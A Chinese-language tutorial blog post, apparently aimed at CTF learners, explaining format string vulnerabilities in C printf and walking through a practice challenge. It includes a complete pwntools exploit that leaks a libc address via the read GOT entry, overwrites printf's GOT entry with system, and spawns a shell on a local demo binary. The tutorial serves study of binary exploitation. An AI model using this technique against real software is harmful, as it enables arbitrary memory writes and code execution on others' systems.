boxmoe_header_banner_img

all in pwn

文章导读

格式化字符串


avatar
cx330 2026年9月15日 56

前言:本篇介绍格式化字符串漏洞,搭配简单小题>_<

0x01 什么是格式化字符串

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。

几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。

举个例子:printf的原型是:

int printf(const char *format, ...);

第一个参数是格式串,里面 % 开头的部分叫格式说明符(占位符),它们会去后面的可变参数里取对应的值来填充:

printf("name: %s, age: %d\n", "cx330", 20);
//      ↑ 格式串                ↑ 变参

格式化说明符

  • %d / %u 十进制整数
  • %x 十六进制整数
  • %p 指针(十六进制) 同 %x,但空指针输出 (nil)
  • %s 字符串 把参数当作指针,解引用后打印
  • %c 单个字符

格式化字符串函数

printf("%p",a)
//rsi:%p%s%d%d%d%d
//rsi:第1个参数
//rdx:第2个参数
//rcx:第3个参数
//r8: 第4个参数
//r9: 第5个参数
//栈: 第6个参数

%s,输出字符,将对应参数看作一个字符串指针,输出其所指向地址的内容。

因此,当你在题目中看到格式化字符串函数,就可以格外关注一下。

printf("%s", buf);     //正确:buf 是数据,只当数据打印
printf(buf);           //危险:buf 成了格式串,里面的 % 会被解析!

0x02 格式化字符串攻击

攻击原理很简单:程序把数据当成了代码来解析:printf 的格式串本该是常量,现在成了攻击者的输入;%s/%n ,会把参数槽里的值当指针用——于是打印的数字变成了内存的地址,输出的字符数变成了写入内存的值。

任意读

我们只需要把地址放进buf,再利用%N$p就可以实现任意地址读。

举个例子:

利用%p枚举法,发送几个A,再随意发送几个%p。

可以看到,第7个槽打出了0x41414141,也就是我们的AAAA,这说明buf[0]落在第7个参数槽(offset = 7)。

任意写

fmtstr_payload是pwntools提供的一个格式化字符串利用 payload 生成器,我们通常利用他来实现任意地址写。

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
  • offset : 格式串从第几个参数槽开始。
  • writes : 可写目标地址: 要写入的值。
  • numbwritten : 已经输出(写出去)的字符数。
  • write_size : byte最稳。

0x03 格式化字符串实战

IDA分析构思整体思路

在IDA里可以看到,BUF缓冲区大小是256字节,但是read最多只读入100字节,没法覆盖返回地址,自然不能栈溢出。

而且这道题还开了canary保护,就算能溢出,canary也会检测栈破坏,阻止攻击。

但是它直接把buf拿去print,存在格式化字符串漏洞。我们可以往buf里输入格式化符号,利用printf读取栈上内容。

另外能看到代码里有while无限循环,代表我们有无数次利用机会。每一轮都可以执行一次read加上printf,凑三轮操作就能完成整套攻击:libc泄露、任意地址写、触发漏洞拿shell,目标非常明确。

while ( strcmp(buf, "byebye") ) { read(...); printf(buf); }

泄露Libc

先利用格式化字符串将read的地址打印出来,接收,然后减掉偏移即可。

求offset的方法在上文中已经提到,这里就不再赘述。

需要注意的是,在接受时,我们需要先接受4字节,这4字节是为了吃掉printf原样回显的4字节 got地址,然后接收到的才是我们想要的地址。

这样,就可以得到libc基址。

任意地址写

直接用fmtstr_payload将printf函数改成system即可。

这样,在新一轮循环时,我们发送/bin/sh即可拿到shell。

完整exp

from pwn import *
elf = ELF("./demo")
libc = ELF("/lib32/libc.so.6")
context(arch = elf.arch, os = elf.os, log_level = 'debug')
p = process([elf.path])

# p.send(b'AAAA' + b'.%p' * 12)

payload = flat([
    p32(elf.got['read']),
    b"%7$s"
])
p.send(payload)
p.recv(4)
libc.address = u32(p.recv(4)) - libc.sym["read"]
print("libc base: " + hex(libc.address))

payload = fmtstr_payload(7, {elf.got["printf"] : libc.sym["system"]})
p.send(payload)

p.send(b"/bin/sh\x00")
p.interactive()

将以上片段拼凑一下就能够得到完整的 exp。

写到这里,就能成功获取程序的交互式shell啦!

小结

格式化字符串漏洞,先泄露Libc,再任意地址写,获取shell。



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字
插入代码